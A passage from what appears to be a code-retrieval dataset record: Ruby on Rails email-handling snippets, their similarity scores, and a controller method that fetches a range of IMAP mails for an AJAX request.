\\\n or mail_folder.nil? \\\n or mail_folder.user_id != @login_user.id\n flash[:notice] = 'ERROR:' + t('msg.cannot_save_in_folder')\n get_mails\n return\n end\n\n unless params[:check_mail].blank?\n count = 0\n params[:check_mail].each do |email_id, value|\n if value == '1'\n\n begin\n email = Email.find(email_id)\n next if email.user_id != @login_user.id\n\n email.update_attribute(:mail_folder_id, folder_id)\n\n rescue => evar\n Log.add_error(request, evar)\n end\n\n count += 1\n end\n end\n flash[:notice] = t('mail.moved', :count => count)\n end\n\n get_mails\n end", "def all_group_attachments\n @relevant_object = convert_id_to_model(params[:id])\n @images = get_all_media_items_for_model_type(@relevant_object.class.to_s.tableize)\n end", "def index\n @messages = Message.none_system_message.paginate(:all, :order => \"messages.sent_at DESC\", :page => params[:page], :per_page => 20)\n @sub_partial = \"/admin/messages/inbox\" \n render_list\n end", "def get_specific_folder_contents\n # Get all child nodes associated with a top level folder that the logged in user is authorized\n # to view. Top level folders include Questionaires, Courses, and Assignments.\n folders = {}\n FolderNode.includes(:folder).get.each do |folder_node|\n child_nodes = folder_node.get_children(nil, nil, session[:user].id, nil, nil)\n # Serialize the contents of each node so it can be displayed on the UI\n contents = []\n child_nodes.each do |node|\n contents.push(serialize_folder_to_json(folder_node.get_name, node))\n end\n\n # Store contents according to the root level folder.\n folders[folder_node.get_name] = contents\n end\n\n respond_to do |format|\n format.html { render json: folders }\n end\n end", "def show_body\n I18n.with_locale @email_locale do\n @mail_body = mail_body(@preview, @part_type)\n render :show_body, layout: 'rails_email_preview/email'\n end\n end", "def update \n composed_mail = mail_from_params(mail_params)\n encoded_mail = Base64.encode64(composed_mail.to_s).tr('+', '-').tr('/', '_')\n\n url = URI(GMAIL_SEND_MAIL_URL)\n\n https = Net::HTTP.new(url.host, url.port)\n body = { raw: encoded_mail, threadId: mail_params[:thread_id] }.to_json\n head = { 'Content-Type' => 'application/json', access_token: @token.fresh_token }\n path = \"#{url.path}?access_token=#{@token.fresh_token}\"\n\n https.use_ssl = true\n result = https.post(\"#{url.path}?access_token=#{@token.fresh_token}\", body, head)\n\n \n if request.xhr?\n @selected_item = { messages: [], headers: nil, labels: [] }\n retrieve_selected_message(@gmail)\n\n render action: :show\n else\n redirect_to request.referer\n end\n end", "def get_all_email\r\n\turl_array = get_townhall_urls #définir une array équivalente au résultat de la méthode qui a permis de créer l'array\r\n\turl_array.each do |townhall_url| \r\n\t\tget_townhall_email(townhall_url) # pour chaque URL d'une ville du Val d'Oise, on associe l'adresse mail de la mairie via la méthode get_townhall_email\r\n\tend\r\nend", "def to_shared_emails\n #shared_to = SharedFolder.select(\"shared_email\").find(:all, :conditions => [\"folder_id = ?\",id])\n email_addresses = Array.new\n shared_folders.each do |folder|\n email_addresses.push(folder.shared_email)\n end\n email_addresses\n end", "def getNewMail\n\n @@CTYPE_TO_EXT = {\n 'image/jpeg' => 'jpg',\n 'image/gif' => 'gif',\n 'image/png' => 'png',\n 'image/tiff' => 'tif'\n }\n begin\n \n # Go through users mail accounts for new attachment files\n userEmails = UserEmail.find_all_by_mail_checking(true);\n userEmails.each do |x|\n if x.last_uid == nil\n x.update_attribute(:last_uid, 0)\n end\n container_name = x.mail_server.gsub(/\\./, \"_\")\n if x.device_id != nil\n device = Device.find_by_id(x.device_id)\n if device != nil\n container_name = device.dev_name\n end\n end\n new_uid = goThroughUserEmails(x.user_id, x.mail_username, x.mail_password, x.mail_server, x.mail_port, x.mail_tls_encryption, x.last_uid, container_name)\n if new_uid > x.last_uid\n x.update_attribute(:last_uid, new_uid)\n end\n end\n rescue => e\n puts \"PROBLEM GOING THROUGH USER EMAILS\"\n puts e \n \n end\n \n \n begin\n \n ## Configurations \n username = \"XXXXXX\"\n password = \"YYYYYY\"\n server = \"imap.gmail.com\"\n port = 993\n \n\n \n # Connect to gmail server\n imap = Net::IMAP.new(server,port,true)\n \n # Login\n imap.login(username, password)\n \n # Select inbox\n imap.select('INBOX')\n \n # get all new mails\n imap.uid_search([\"NOT\", \"DELETED\", \"NOT\", \"SEEN\"]).each do |uid|\n \n # fetches the source of the email for tmail to parse\n source = imap.uid_fetch(uid, 'RFC822')\n \n if source == nil\n puts \"Couldn't find mail with uid: #{uid}\"\n next\n end\n \n source = source.first.attr['RFC822']\n \n # parse with tmail\n email = TMail::Mail.parse(source) \n \n # Print subject and sender\n #p email.subject \n #p email.from \n \n ### Look for hash hidden in receiver name\n username, contextname = findUserAndContext(email.to.to_s)\n if username == nil or contextname == nil\n next\n end\n \n puts \"User: #{username}\"\n puts \"Context: #{contextname}\"\n \n user = User.find_by_username(username)\n contextName = ContextName.find_by_username_and_name(username, contextname)\n \n if user == nil or contextName == nil\n next\n end\n \n # Check that user has named email sender as his email account\n useremail = UserEmail.find_by_user_id_and_email(user.id, email.from)\n if useremail == nil\n next\n end\n \n context = Context.find_by_id(contextName.context_id)\n if context == nil\n next\n end\n \n puts \"Mail is from account that user has named and context is found\"\n \n device = nil\n \n # If has attachments, save them\n if email.has_attachments?\n email.parts.each_with_index do |part, index|\n puts part.content_type\n \n # Text files are ignored. If mail has attachments, body was considerede as attachment.\n if part.content_type == \"text/plain\" or part.content_type == \"multipart/alternative\"\n next\n end\n \n # Create device if doesn't already exist\n if device == nil\n # Try to find virtual device or create it\n device = findOrCreateVirtualDevice(user.id, \"visualrest_mail_box\")\n \n # If device name is already in use for other type of device, \n if device == nil\n puts \"Couldn't create virtual_container with name 'visualrest_mail_box'\"\n next\n end\n end \n \n \n filename = part_filename(part)\n content_type = part.content_type\n filename ||= \"#{index}.#{ext(part)}\"\n file = filename\n fname = file.split(\".\")\n \n # If prefix given in topic, add it to filename\n if email.subject.to_s.include?(\"[p]\") \n # Adds email topic as a prefix for the file\n filename = email.subject.to_s.gsub('[p]', '').strip.gsub(/\\r/, '_') + \"_\" + filename\n end\n \n # Use virtualContainerManager to add the file\n # Create the manager \n @virtualContainerManager = VirtualContainerManager.new(user, device.dev_name)\n \n # Add file with the manager\n @virtualContainerManager.addFile('/' + filename, part.body)\n \n @virtualContainerManager.addMetadata('/' + filename, \"context_hash\", context.context_hash)\n \n # Add metadata\n @virtualContainerManager.addMetadata('/' + filename, \"mail_topic\", email.subject)\n @virtualContainerManager.addMetadata('/' + filename, \"mail_from\", email.from.to_s.strip)\n \n \n \n # Make the commit\n @virtualContainerManager.commit\n \n puts \"File #{filename} was saved to visualrest\"\n end\n end\n end\n \n imap.logout\n imap.disconnect\n \n rescue => e\n puts e\n return\n end \n end", "def get_mail_attachment\n Log.add_info(request, params.inspect)\n\n attached_id = params[:id].to_i\n begin\n mail_attach = MailAttachment.find(attached_id)\n rescue => evar\n end\n\n if mail_attach.nil?\n redirect_to(THETIS_RELATIVE_URL_ROOT + '/404.html')\n return\n end\n\n begin\n email = Email.find(mail_attach.email_id)\n rescue => evar\n end\n if email.nil? or email.user_id != @login_user.id\n render(:text => '')\n return\n end\n\n mail_attach_name = mail_attach.name\n\n agent = request.env['HTTP_USER_AGENT']\n unless agent.nil?\n ie_ver = nil\n agent.scan(/\\sMSIE\\s?(\\d+)[.](\\d+)/){|m|\n ie_ver = m[0].to_i + (0.1 * m[1].to_i)\n }\n mail_attach_name = CGI::escape(mail_attach_name) unless ie_ver.nil?\n end\n\n filepath = mail_attach.get_path\n if FileTest.exist?(filepath)\n send_file(filepath, :filename => mail_attach_name, :stream => true, :disposition => 'attachment')\n else\n send_data('', :type => 'application/octet-stream;', :disposition => 'attachment;filename=\"'+mail_attach_name+'\"')\n end\n end", "def mailer; end", "def index\n # List all folders and files in project result directory\n case params[:type]\n when 'result'\n # Get data: folder, file, path\n @content = BrowsingFile.bind_folder \"automations/#{params[:fold]}/reports\"\n @file = BrowsingFile.bind_files \"automations/#{params[:fold]}/reports\"\n\n # Get paths and push to array\n path = \"<a href='/browsing_files/files?fold=automations/%s/reports'>%s result</a>\" % [params[:fold], params[:fold]]\n @@arr_path = [path]\n @path, @@temp_path = BrowsingFile.get_path_from_array @@arr_path\n when 'checksum_comparison'\n @content = BrowsingFile.bind_folder 'public/checksum_packages'\n @file = BrowsingFile.bind_files 'public/checksum_packages'\n\n # Get paths and push to array\n path = \"<a href='/browsing_files/files?fold=public/checksum_packages'>checksum results</a>\"\n @@arr_path = [path]\n @path, @@temp_path = BrowsingFile.get_path_from_array @@arr_path\n end\n end", "def find_from_ids(conn_id, ids, options)\n subfolders = nil\n \n folder_list = ids.collect { |path|\n path = resolve_folderpath_option(conn_id, path)\n options[:command] = generate_list_command(conn_id, path, subfolders)\n \n list_folders(conn_id, options)\n }.flatten.compact\n \n MailboxListParser.read(folder_list, conn_id, self)\n end", "def name\n 'inbox'\n end", "def identifier_email(topic,identifiers,board_publication,receipients,attach_content,include_comments,message_content,message_subject=nil)\n # add attachments\n if (identifiers.length > 0 && attach_content)\n document_content = \"\"\n identifiers.each do |ec|\n unless ec.nil?\n document_content += Identifier.find(ec[:id]).content || \"\"\n end\n end\n attachments.inline['attachment.txt'] = document_content\n end\n if include_comments \n @comments = Comment.find_all_by_publication_id(identifiers[0].publication.origin.id) \n else\n @comments = [] \n end\n\n na_text = I18n.t(\"mailers.notapplicable\")\n @identifier_links = identifiers.length > 0 ? Hash[identifiers.map {|x| [x.title, preview_url(x)]}] : Hash[ na_text, dashboard_url ]\n\n # publication title and publication link should always give us the publication of origin\n @publication_links = identifiers.length > 0 ? Hash[identifiers.first.publication.origin.title, url_for(identifiers.first.publication.origin)] : Hash[ na_text, dashboard_url ]\n\n @board_publication_links = board_publication.nil? ? Hash[ na_text, dashboard_url ] : Hash[ board_publication.title , url_for(board_publication) ]\n\n if board_publication.nil?\n board_owner = na_text\n else\n board_owner = board_publication.owner.friendly_name\n end\n\n # we want to leave it to mailer view to be able to relace the IDENTIFIER_LINK and PUBLICATION_LINK placeholders with active links\n # to the identifiers and publications but first we need to do some weird string wrangling here to make sure that the user-entered \n # email message escapes any unsafe content \n # (see http://makandracards.com/makandra/2579-everything-you-know-about-html_safe-is-wrong for explaination)\n @message = \"\".html_safe \n @message << message_content.gsub(/!IDENTIFIER_TITLES/,identifiers.collect{|ei| ei.title}.join('; ')).gsub(/!PUBLICATION_TITLE/,identifiers[0].publication.origin.title).gsub(/!TOPIC/,topic) \n .gsub(/!PUBLICATION_CREATOR_NAME/,identifiers[0].publication.origin.creator.full_name).gsub(/!BOARD_OWNER/,board_owner)\n\n\n identifier_titles = identifiers.collect{|ei| ei.title}.join('; ')\n if message_subject.nil? || message_subject == ''\n message_subject = topic + ': ' + identifiers[0].publication.origin.title + \" \" + identifier_titles\n else\n message_subject = message_subject.gsub(/!TOPIC/,topic).gsub(/!PUBLICATION_TITLE/,identifiers[0].publication.origin.title).gsub(/!IDENTIFIER_TITLES/,identifier_titles)\n end\n # make sure we have a decent length for the subject\n message_subject = truncate(message_subject, length:75)\n mail(:to => receipients, :subject => message_subject)\n end", "def handle(uids)\n each_message uids, 'text/plain' do |uid, mail|\n @mail = mail\n @url = nil\n @description = nil\n\n case mail.from.first\n when 'A2ATransfer@us.hsbc.com' then\n next false unless handle_a2atransfer\n when 'alerts@email.hsbcusa.com' then\n next false unless handle_alert\n when 'HSBC@email.hsbcusa.com' then\n next false unless handle_hsbc\n else\n log \"Unknown From: #{mail.from.join ', '}\"\n next false\n end\n\n add_item mail.subject, @description, mail.from, mail.date, @url,\n mail.message_id, 'HSBC'\n end\n end", "def search(from,after)\n emails = @yahoo_api.find_emails from,after\n\n emails.in_groups_of(10,false).each do |group| \n mids = group.map{|email| email[:mid]}\n email_contents = @yahoo_api.fetch_email_contents mids\n \n mails = email_contents.map do |email_content| \n text = CGI.unescapeHTML(CGI.unescapeHTML(\n email_content[:text]))\n mail = Mail.new(\n :message_id => email_content[:mid],\n :date => email_content[:date],\n :subject => email_content[:subject],\n :body => text)\n mail.html_part = Mail::Part.new do\n content_type 'text/html; charset=UTF-8'\n body text\n end\n mail\n end \n\n yield mails if block_given?\n end\n end", "def send_gmail_to_listing(username, password, subject_text, worksheet_key, html_path, image_path)\n # Connect to gmail and puts\n # username and password are parameters you will input as argument on command line\n gmail = Gmail.connect(username, password)\n puts \"Gmail login\"\n\n # Call the go_through_all_the_lines function wich returns all the emails in an array\n email_listing = go_through_all_the_lines(worksheet_key)\n\n # Iterate through all the emails\n email_listing.each do |email|\n # For each email send mail to email\n gmail.deliver do\n to email\n # subject_text variable is a parameter you will input as argument on command line\n subject subject_text\n # Send the content in the email as html\n html_part do\n content_type 'text/html; charset=UTF-8'\n # Call the get_email_html function to get the body content\n body get_email_html(html_path)\n end\n # Call the get_email_image function to add an image to the email\n add_file get_email_image(image_path)\n end\n # Puts a message on console when the email is successfully sent\n puts \"Email successfully sent to #{email}\"\n end\n # Call the save_to_file function to save the output in a text file\n save_to_file(email_listing)\n # Log out of gmail and puts\n gmail.logout\n puts \"Gmail logout script finished\"\n\nend", "def open_message(subject)\n active_div.div(:class=>\"inbox_subject\").link(:text=>subject).click\n wait_for_ajax(2)\n end", "def deal_mail_messages(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"deals/#{id}/mailMessages\", params)\n end", "def get_mails()\n emails = Mail.find(:what => :first, :count => 20, :order => :asc)\n relevant = filter_mails emails\n parse_mails relevant\n end" ]
[ "0.66852874", "0.6354398", "0.635118", "0.62598985", "0.6184302", "0.60495585", "0.5991633", "0.5968701", "0.59108365", "0.5788751", "0.5734764", "0.5726455", "0.57234687", "0.57162946", "0.5693383", "0.5688671", "0.5650533", "0.5647265", "0.56363064", "0.56363064", "0.56315905", "0.5625234", "0.5619276", "0.56154794", "0.5610595", "0.5605908", "0.5524207", "0.5519424", "0.55027086", "0.5498116", "0.54956746", "0.54915345", "0.5489097", "0.5425189", "0.5414731", "0.5405564", "0.53709495", "0.53695536", "0.53603834", "0.53499216", "0.5346492", "0.53301036", "0.53301036", "0.5326993", "0.5315028", "0.5311689", "0.5304867", "0.5302064", "0.5289538", "0.52885157", "0.5279235", "0.5277018", "0.52694565", "0.52685535", "0.5264317", "0.5258246", "0.52472633", "0.52332306", "0.52250314", "0.5222437", "0.522099", "0.5217958", "0.5209063", "0.5187305", "0.5186548", "0.5186039", "0.51851135", "0.5171811", "0.5153936", "0.51511526", "0.51497585", "0.5138145", "0.51380765", "0.5130432", "0.51125115", "0.50986505", "0.5091459", "0.50899965", "0.5078284", "0.50752705", "0.5069704", "0.5062023", "0.5053667", "0.50530034", "0.50482965", "0.50475407", "0.50430864", "0.5041322", "0.5039331", "0.5036581", "0.50356084", "0.50338894", "0.50315136", "0.5027998", "0.50224894", "0.5022431", "0.50217825", "0.50204057", "0.5018597", "0.50020635" ]
0.5532772
26
desc: gets the given number of mails from the given mailbox and return it to ajax call. output: js
def mails begin @imap = WmailImapUtils.current_imap if not @imap.blank? @mailbox = params['mailbox'] @min = params['min'].to_i @max = params['max'].to_i @total = params['total'].to_i @imap.select(@mailbox) @mails = @imap.fetch(@total-@max..@total-@min, 'ENVELOPE') @unseen_flags = @imap.search(['NOT','SEEN']) end rescue redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)), :alert => 'Connection Lost. Please login to your account' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @seqno = params[:id].to_i\n @total = params[:total].to_i\n\n begin\n @imap = WmailImapUtils.current_imap\n message = @imap.fetch(@seqno, ['RFC822']).first.attr['RFC822']\n @mail = Mail.new(message)\n # get the folder list\n mailbox_list\n rescue\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'}\n format.js\n end\n end\n end", "def mailbox_list\n begin\n @imap = WmailImapUtils.current_imap\n folder_list = WmailImapUtils.get_mailbox_list\n @folders_count_hash = Hash[ folder_list.map do |a|\n [a.name, @imap.status(a.name, [\"UNSEEN\"])[\"UNSEEN\"]] unless a.name == \"[Gmail]\"\n end ]\n rescue\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => params),\n :alert => 'Connection Lost. Please login to your account'}\n format.js {render :js => \"window.location = '\" + authenticate_wmail_accounts_path(:redirect => params) + \"';\"}\n end\n end\n end", "def get_mails\n gmail = Gmail.connect @current_user.login, @current_user.password\n return nil unless gmail.logged_in?\n\n mails = gmail.inbox.find :unread, after: @filter_date + 1\n sent_mails = gmail.label(\"[Gmail]/Sent Mail\").find(afetr: @filter_date + 1)\n sent_mails.each { |e| mails << e }\n mails.sort_by!(&:date)\n\n end", "def num_messages\n\n begin\n\n id_cuenta = params[:id]\n $folder = \"inbox\"\n @setting_email = SettingsEmail.where(id: id_cuenta)\n\n if @setting_email.blank?\n\n render json: {\n errors: {\n message: \"Debes configurar la cuenta de correo entrante\"\n }\n }\n\n else\n\n @setting_email.each do |setting|\n $server = setting.server\n $port = setting.port\n $username = setting.username\n $password = setting.password\n end\n\n ENV['option'] = 'num_messages'\n load 'script/mailman_function.rb'\n render json: {\n errors: {\n data: @@num_messages,\n status: 200,\n message: \"conexión exitosa\"\n }\n }\n\n end\n\n rescue\n\n render json: {\n errors: {\n data: @data,\n status: 500,\n message: \"Error! valida las credenciales de acceso o revisa la configuración de tu cuenta\"\n }\n }\n\n end\n\n end", "def get_mail_content\n Log.add_info(request, params.inspect)\n\n email_id = params[:id]\n\n begin\n @email = Email.find(email_id)\n render(:partial => 'ajax_mail_content', :layout => false)\n rescue => evar\n Log.add_error(nil, evar)\n render(:text => '')\n end\n end", "def messages\n selected_label = params[:label].blank? ? 'INBOX' : params[:label]\n \n begin\n\n unless selected_label.blank?\n @imap = WmailImapUtils.current_imap\n @imap.select(selected_label)\n @status = @imap.status(selected_label, ['MESSAGES', 'RECENT', 'UNSEEN'])\n max = @status['MESSAGES']\n min = @status['MESSAGES']-10\n @max = 10\n @min = 1\n @mailbox = selected_label\n @inbox = []\n\n min = 1 if (max <= 10 and max > 0)\n\n @inbox = @imap.fetch(min..max, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n @imap.expunge\n end\n\n session[:selected_label] = selected_label\n \n respond_to do|format|\n format.html\n format.js\n end\n\n rescue\n\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'}\n format.js\n end\n \n end\n \n end", "def get_mails()\n emails = Mail.find(:what => :first, :count => 20, :order => :asc)\n relevant = filter_mails emails\n parse_mails relevant\n end", "def search(from,after)\n @mailboxes.each do |mailbox|\n begin\n emails = mailbox.find :from => from,:after => after\n\n emails.reverse.in_groups_of(10,false).each do |group| \n uids = group.map(&:uid)\n fetch_data = @gmail.conn.uid_fetch uids,@imap_key_body\n \n mails = fetch_data.map do |fetch_datum| \n Mail.new CGI.unescapeHTML(fetch_datum.attr[@imap_key_body])\n end \n\n yield mails.reverse if block_given?\n end\n rescue Net::IMAP::NoResponseError \n end\n end #mailboxes\n end", "def imapMailCount\n # Init the email count to start fresh every time this is called\n total_count = 0\n\n # Get the total count of emails in the IMAP inboxes\n imap_inbox = Array.new\n count = 0\n @imap_accounts.each do |acct|\n imap_inbox[count] = @imap_accounts[count].IMAPInboxFolder.get\n total_count += imap_inbox[count].unreadMessageCount\n count += 1\n end\n\n return total_count\n end", "def exchangeMailCount\n # Init the email count to start fresh every time this is called\n total_count = 0\n\n # Get the total count of emails in the Exchange inboxes\n exchange_inbox = Array.new\n count = 0\n @exch_accounts.each do |acct|\n exchange_inbox[count] = @exch_accounts[count].inboxFolder.get\n total_count += exchange_inbox[count].unreadMessageCount\n end\n\n return total_count\n end", "def mailboxes_list\n get \"mailboxes\"\n end", "def mailCount count_type=nil\n # Init the email count to start fresh every time this is called\n total_count = 0\n\n # Get the total count of emails in the Exchange inboxes\n exch_count = exchangeMailCount\n total_count += exch_count\n \n # Get the total count of emails in the IMAP inboxes\n imap_count = imapMailCount\n total_count += imap_count\n\n @email_count = total_count\n puts total_count\n growlNotify\n return @email_count.to_s\n end", "def get_mails\n if params[:action] == 'get_mails'\n Log.add_info(request, params.inspect)\n end\n\n if !params[:pop].nil? and params[:pop] == 'true'\n\n mail_account_id = params[:mail_account_id]\n SqlHelper.validate_token([mail_account_id])\n\n begin\n new_arrivals_h = {}\n\n if mail_account_id.blank?\n mail_accounts = MailAccount.find_all(\"user_id=#{@login_user.id}\")\n mail_accounts.each do |mail_account|\n emails = Email.do_pop(mail_account)\n unless emails.empty?\n new_arrivals_h[mail_account.id] ||= []\n new_arrivals_h[mail_account.id] |= emails\n end\n end\n else\n mail_account = MailAccount.find(mail_account_id)\n emails = Email.do_pop(mail_account)\n unless emails.empty?\n new_arrivals_h[mail_account.id] ||= []\n new_arrivals_h[mail_account.id] |= emails\n end\n end\n\n unless new_arrivals_h.empty?\n flash[:notice] = t('mail.received', :count => new_arrivals_h.values.flatten.length)\n\n # FEATURE_MAIL_FILTERS >>>\n new_arrivals_h.each do |mail_account_id, emails|\n mail_filters = MailFilter.get_for(mail_account_id, true, MailFilter::TRIGGER_CHECKING)\n filter_next = true\n\n emails.each do |email|\n mail_filters.each do |filter|\n filter_next = filter.execute(email)\n break unless filter_next\n end\n break unless filter_next\n end\n end\n # FEATURE_MAIL_FILTERS <<<\n end\n rescue => evar\n if evar.to_s.starts_with?('ERROR:')\n flash[:notice] = evar.to_s\n else\n flash[:notice] = 'ERROR:' + t('mail.receive_error') + '<br/>' + evar.to_s\n end\n Log.add_error(nil, evar)\n end\n end\n\n @folder_id = params[:id]\n SqlHelper.validate_token([@folder_id])\n\n if @folder_id == TreeElement::ROOT_ID.to_s\n @emails = nil\n else\n=begin\n# @emails = MailFolder.get_mails_to_show(@folder_id, @login_user)\n=end\n# FEATURE_PAGING_IN_TREE >>>\n @sort_col = (params[:sort_col] || 'sent_at')\n @sort_type = (params[:sort_type] || 'DESC')\n SqlHelper.validate_token([@sort_col, @sort_type], ['.'])\n\n sql = EmailsHelper.get_list_sql(@login_user, params[:keyword], [@folder_id], @sort_col, @sort_type, 0, nil)\n @email_pages, @emails, @total_num = paginate_by_sql(Email, sql, 10)\n# FEATURE_PAGING_IN_TREE <<<\n end\n\n session[:mailfolder_id] = @folder_id\n\n render(:partial => 'ajax_folder_mails', :layout => false)\n end", "def ajax_delete_mails\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n folder_id = params[:id]\n mail_account_id = params[:mail_account_id]\n SqlHelper.validate_token([folder_id, mail_account_id])\n\n unless params[:check_mail].blank?\n mail_folder = MailFolder.find(folder_id)\n trash_folder = MailFolder.get_for(@login_user, mail_account_id, MailFolder::XTYPE_TRASH)\n\n count = 0\n params[:check_mail].each do |email_id, value|\n next if value != '1'\n\n begin\n email = Email.find(email_id)\n rescue => evar\n end\n next if email.nil? or (email.user_id != @login_user.id)\n\n if trash_folder.nil? \\\n or folder_id == trash_folder.id.to_s \\\n or mail_folder.get_parents(false).include?(trash_folder.id.to_s)\n email.destroy\n flash[:notice] ||= t('msg.delete_success')\n else\n begin\n email.update_attribute(:mail_folder_id, trash_folder.id)\n flash[:notice] ||= t('msg.moved_to_trash')\n rescue => evar\n Log.add_error(request, evar)\n email.destroy\n flash[:notice] ||= t('msg.delete_success')\n end\n end\n\n count += 1\n end\n end\n\n get_mails\n end", "def index\n @q = MsgMail.active.ransack(params[:q])\n @mails = @q.result.includes(:mail_type).page(params[:page]).per(15)\n end", "def read_emails(folder,keyword,atrans,acftrans)\r\n view = framework.threads.spawn(\"ButtonClicker\", false) {\r\n click_button(atrans,acftrans)\r\n }\r\n command = \"Get-Emails \\\"#{keyword}\\\" \\\"#{folder}\\\"\"\r\n execute_outlook_script(command)\r\n end", "def new_mail\n poll_response['num_unread'].to_i\n end", "def author_mails\n messages = 0\n simplelist = {}\n \n @senders.each do |name, value|\n simplelist[name] = value.mails.length unless value.mails.empty?\n end\n \n # sort the list (from largest to lowest)\n sortedlist = simplelist.sort {|a,b| b[1] <=> a[1] } \n # calculate number of mails\n sortedlist.each {|i| messages += i[1]}\n \n puts \"Mail-number results of #{messages} processed messages:\"\n messages = messages.to_f\n \n sortedlist.each do |name, number|\n # calculate the percent value\n per = (number / messages) * 100\n # shorten it to two numbers after the floating point\n percent = sprintf(\"%2.2f\", per)\n # display\n puts \"#{name}: #{number} (#{percent}%)\"\n end\n end", "def watchMail(imap, folder)\n \n # Loop for checking message increase in the folder\n begin\n \n imap.select(folder)\n \n # Get the current folder size\n fsize = imap.status(folder, [\"MESSAGES\"])\n csize = fsize[\"MESSAGES\"]\n \n loop do\n fsize = imap.status(folder, [\"MESSAGES\"])\n if fsize[\"MESSAGES\"] > csize\n message_ids = imap.uid_search(\"ALL\")\n uid = message_ids.last\n email = imap.uid_fetch(uid, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n pp \"[#{email.from[0].name}] #{email.subject}\"\n csize = fsize[\"MESSAGES\"]\n else\n sleep(10)\n end\n end\n rescue => e\n exit(1)\n end\nend", "def get_mailboxes\n get(\"mailboxes\")\n end", "def getEmails(searchCriteria = Hash.new)\n if searchCriteria.is_a? String\n search = searchCriteria\n searchCriteria = Hash.new\n searchCriteria['search'] = search\n end\n searchCriteria['key'] = @API_KEY\n searchCriteria['mailbox'] = @MAILBOX\n for i in 1..10\n response = RestClient.get(\"#{@BASE_URI}/emails\", {:params => searchCriteria})\n data = JSON.parse(response.body)\n emails = data.map { |em| Email.new(em) }\n\n if !emails.nil? && emails.length>0\n return emails\n end\n # back off and retry\n sleep(i*i)\n end\n end", "def index\n @emails = ShipEmailBLL.paginate(page: params[:page])\n render ('index')\n end", "def index\n @inform_mails = InformMail.page(params[:page]).per(10).order(\"id DESC\")\n end", "def maillist\n @cntcts = current_user.organization.contacts\n @tmrec = Array.new\n params[:ids].split(\",\").map do |id|\n @tmrec << TimeRecord.find_by_id(id)\n end\n @tmrec_array = params[:ids]\n render :partial => \"maillist\", :layout => false\n end", "def view_html\n\n $anterior = params[:id].to_i - 1\n $siguiente = params[:id].to_i - 1\n\n $buscar_texto = nil\n $buscar_por = nil\n\n ENV['folder'] = 'mailbox'\n load 'script/mailman_server.rb'\n\n adjuntos = ''\n\n @@messages.each do |message|\n @from = message[:from]\n @to = message[:to]\n @cc = message[:cc]\n @bcc = message[:bcc]\n @subject = message[:subject]\n @date = message[:date]\n @text = message[:text_body]\n @html = message[:html_body]\n end\n\n cc_list = @cc.length > 0 ? 'Cc: <span style=\"word-wrap: break-word;\">' + @cc + '</span><br>' : ''\n bcc_list = @bcc.length > 0 ? 'Cco: <span style=\"word-wrap: break-word;\">' + @bcc + '</span><br>' : ''\n\n @@the_message_attachments.each do |att|\n adjuntos += '<li> <a style=\"color:#666; text-decoration:none;\" href='+att.attached_file.url(:original, false)+' target=\"_blank\">'+att.attached_file_file_name+'</a> </li>'\n end\n\n adjuntos_list = (adjuntos.length > 0) ? 'Adjuntos: <ul>' + adjuntos + '</ul>' : ''\n\n # render file: 'messages/view_html'\n\n respond_to do |format|\n format.html {\n render text: '<div class=\"container-fluid\"> ' +\n '<br>' +\n 'De: ' + @from +\n '<br>' +\n 'A: <span style=\"word-wrap: break-word;\">' + @to + '</span>' +\n '<br>' +\n cc_list +\n bcc_list +\n adjuntos_list +\n '<hr class=\"col-lg-12\">' +\n '</div>' + @html, :layout => false\n }\n # format.html {\n # render text: '<div class=\"container-fluid\">' +\n # '<div class=\"col-md-12\" style=\"background-color: #ced8e1\">' +\n # '<h4>' + @subject + '</h4>' +\n # '<hr style=\"margin-top: 0px; border-top: 1px solid #235589\">' +\n # '<strong>' + @from + '</strong>' +\n # '<br>' +\n # '<div style=\"max-width: 90%; float: left\">' +\n # '<small>Para ' + @to[0..50] + '</small>' +\n # '</div>' +\n # '<div style=\"margin-left: 5px; max-width: 1%; float: left\">' +\n # '<div class=\"dropdown\">' +\n # '<button class=\"btn btn-default btn-xs\" type=\"button\" data-toggle=\"dropdown\" aria-haspopup=\"true\">' +\n # '<span class=\"caret\"></span>' +\n # '</button>' +\n # '<div class=\"dropdown-menu\"\n # style=\"word-wrap: break-word;\n # width: 500px;\n # padding: 20px;\n # height: 300px;\n # overflow: auto\">' +\n # '<table>\n # <tr>\n # <td valign=\"top\">De:</td>\n # <th>' + @from + '</th>\n # </tr>\n # <tr>\n # <td valign=\"top\">Para:</td>\n # <td>' + @to + '</td>\n # </tr>\n # <tr>\n # <td valign=\"top\">Fecha:</td>\n # <td>' + @date + '</td>\n # </tr>\n # <tr>\n # <td valign=\"top\">Asunto:</td>\n # <td>' + @subject + '</td>\n # </tr>\n # </table>\n # </div>\n # </div>\n # </div>\n # </div>\n # </div>'\n # }\n format.json {\n render json: {\n message: @html\n }\n }\n end\n\n end", "def maillist\n @report_id = params[:id]\n @project_format = params[:project_format]\n if params[:waiting_for] == 'sent'\n @q = current_user.organization.statusreports.search(params[:q])\n @statusreports = @q.result(:distinct => true).find(:all,:conditions => ['sent_by IS ?',nil])\n else\n @q = current_user.organization.statusreports.search(params[:q])\n @statusreports = @q.result(:distinct => true).find(:all,:order => 'updated_at DESC')\n end\n render :partial => \"maillist\", :layout => false\n end", "def index\n @messages = Message.none_system_message.paginate(:all, :order => \"messages.sent_at DESC\", :page => params[:page], :per_page => 20)\n @sub_partial = \"/admin/messages/inbox\" \n render_list\n end", "def mailbox\n\t\t\tMarshal.load(get_mailbox)\n\t\t\t#msgs = []\n\t\t\t#get_mailbox.each { |l| msgs << l.chomp }\n\t\t\t#msgs\n\t\tend", "def get_mail(get_url)\n page = open(get_url).read\n nokogiri_object = Nokogiri::HTML(page)\n mail_depute = 